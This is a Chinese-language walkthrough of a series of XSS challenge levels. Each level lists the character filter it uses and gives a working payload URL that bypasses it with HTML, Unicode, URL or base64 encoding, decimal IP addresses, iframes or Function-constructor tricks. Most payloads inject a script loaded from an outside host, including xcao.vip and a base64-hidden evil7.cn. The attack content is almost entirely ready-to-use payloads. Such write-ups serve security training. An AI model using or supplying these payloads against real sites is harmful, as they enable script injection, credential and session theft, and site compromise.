独孤九剑xss通关教程
字数 1194 2025-08-24 16:48:16
独孤九剑XSS通关教程详解
第一式:基础HTML编码绕过
过滤规则:过滤了 =()
绕过方法:
- 在SVG标签下的script标签可以使用HTML编码
- 利用HTML编码绕过对
=()的过滤
构造payload:
?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
解码后等价于:
?data=">#with(document)body.appendChild(createElement('script')).src='http://127.0.0.1/xss/alert.js'
第二式:Unicode编码绕过
过滤规则:过滤了 =().(新增了.的过滤)
绕过方法:
- 使用
setTimeout和反引号``代替括号 - 采用Unicode编码绕过对
()和.的限制
构造payload:
http://xcao.vip/test/xss2.php?data=xxx"><script>setTimeout`\u0065\u0076\u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029`;</script>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
第三式:URL编码绕过
过滤规则:过滤了 ().&#\(放开=的过滤,新增&#\的过滤)
绕过方法:
- 直接使用script加载
- 利用
%2eURL编码绕过对点号的过滤
构造payload:
http://xcao.vip/test/xss3.php?data="><script src=http://xcao%252evip/xss/alert%252ejs></script>
第四式:伪协议+URL编码
过滤规则:过滤了 =().&#\
绕过方法:
- 使用javascript伪协议+URL编码
- 利用
location.replace方法引入javascript协议 - 将
().分别用%2528、%2529、%252e编码
构造payload:
http://xcao.vip/test/xss4.php?data=1"><script>top["document"]["write"]`${top["String"]["fromCharCode"]`61`+"data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=>111</iframe>"} <iframe src`</script><!--
第五式:IP十进制表示法
过滤规则:过滤了 ().&#\%(新增%的过滤)
绕过方法:
- 将IP地址转换成十进制表示法避免使用点号
- 使用域名跳转技术
构造payload:
http://xcao.vip/test/xss5.php?data="><script src=http://2067398186/xxx></script>
第六式:iframe+base64编码
过滤规则:多种字符被过滤
绕过方法:
- 使用iframe标签配合base64编码的JS加载
构造payload1:
http://xcao.vip/test/xss6.php?data=1"><script>top["document"]["write"]`${top["String"]["fromCharCode"]`61`+"data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=>111</iframe>"} <iframe src`</script><!--
构造payload2:
http://xcao.vip/test/xss6.php?data="><iframe></iframe><script>frames[0]["location"]["replace"]`data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cHM6Ly9ldmlsNy5jbi90ZXN0L3hzcy5qcz48L3NjcmlwdD4`</script>
第七式:ASCII编码绕过
过滤规则:输入点在JS中
绕过方法:
- 将
=,<,>进行ASCII编码
构造payload1:
http://xcao.vip/test/xss7.php?data="";top["document"]["write"]`${top["String"]["fromCharCode"]`60`+"iframe src"+top["String"]["fromCharCode"]`61`+"data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4="+top["String"]["fromCharCode"]`62`}`
构造payload2(使用hash保存工具向量):
http://xcao.vip/test/xss7.php/?data=1;[]['constructor']['constructor']`a${location['hash']['slice']`1`}```#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
第八式:base64编码+Function构造器
过滤规则:新增'"[]的过滤
绕过方法:
- 利用base64编码和Function构造器
构造payload:
http://xcao.vip/test/xss8.php?data=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}```
第八-1式:伪协议base64
过滤规则:新增{}的过滤
绕过方法:
- 使用伪协议和base64编码
构造payload:
http://xcao.vip/test/xss8-1.php?data=atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`;location[`replace`]`javascript:a`
第八-2式:window.open绕过
过滤规则:过滤了Function,限制[]和引号
绕过方法:
- 使用
window.open方法 - 利用JS模板字符串传递参数
构造payload:
http://xcao.vip//test/xss8-2.php?data=open`javascript:name//${atob`PGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyc+`}`
总结
本教程展示了多种XSS绕过技术,包括:
- HTML实体编码
- Unicode编码
- URL编码
- IP十进制表示法
- base64编码
- iframe标签利用
- Function构造器
- window.open方法
- JS模板字符串
每种技术都针对特定的过滤规则,展示了XSS攻击的灵活性和多样性,同时也强调了Web应用安全防护需要多层次、多角度的防御策略。